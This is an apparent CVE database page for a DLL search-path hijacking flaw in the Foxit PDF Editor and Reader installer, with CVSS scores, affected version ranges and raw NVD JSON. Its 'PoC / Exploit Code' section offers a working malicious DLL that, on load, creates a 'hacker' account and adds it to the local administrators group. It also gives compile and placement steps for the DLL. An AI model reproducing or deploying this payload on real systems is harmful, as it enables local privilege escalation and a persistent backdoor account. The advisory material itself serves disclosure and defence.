CVE-2026-3780

Description

The application's installer runs with elevated privileges but resolves system executables and DLLs using untrusted search paths that can include user-writable directories, allowing a local attacker to place malicious binaries with the same names and have them loaded or executed instead of the legitimate system files, resulting in local privilege escalation.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

请参考官方安全公告获取具体受影响版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <windows.h>
#include <stdlib.h>

// Malicious DLL PoC for CVE-2026-3780
// This DLL demonstrates the execution of code with elevated privileges
// when loaded by the vulnerable installer.

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // Code to execute upon attachment
        // Example: Add a new user or start a reverse shell
        system("net user hacker P@ssw0rd /add");
        system("net localgroup administrators hacker /add");
        MessageBox(NULL, L"Exploit Executed!", L"CVE-2026-3780", MB_OK);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

/*
Compilation (MinGW):
gcc -shared -o malicious.dll exploit.c

Usage:
1. Place 'malicious.dll' in the user-writable directory checked by the installer.
2. Trigger the installer.
3. The installer loads the DLL, executing the commands with elevated privileges.
*/

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3780
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3780
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3780/
[4] VulDB https://vuldb.com/cve/CVE-2026-3780
[5] https://www.foxit.com/support/security-bulletins.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3780", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2026-04-01T02:16:03.183", "lastModified": "2026-04-28T14:14:57.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The application's installer runs with elevated privileges but resolves system executables and DLLs using untrusted search paths that can include user-writable directories, allowing a local attacker to place malicious binaries with the same names and have them loaded or executed instead of the legitimate system files, resulting in local privilege escalation."}, {"lang": "es", "value": "El instalador de la aplicación se ejecuta con privilegios elevados, pero resuelve los ejecutables del sistema y las DLLs utilizando rutas de búsqueda no confiables que pueden incluir directorios escribibles por el usuario, permitiendo a un atacante local colocar binarios maliciosos con los mismos nombres y que estos sean cargados o ejecutados en lugar de los archivos legítimos del sistema, resultando en una escalada de privilegios local."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-426"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.2.24014", "matchCriteriaId": "8E9FD877-062E-4AE4-B7D7-91E1CA8657DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0.33046", "versionEndIncluding": "14.0.2.33402", "matchCriteriaId": "6B7281CC-97ED-4441-BB97-6C73E328B9AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1.0.27937", "versionEndIncluding": "2025.3.0.35737", "matchCriteriaId": "AD0AAFC0-5B9B-4A11-8967-4699792850F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.3.0.35737", "matchCriteriaId": "1A7AD877-2AB4-4568-8109-5406D2259725"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}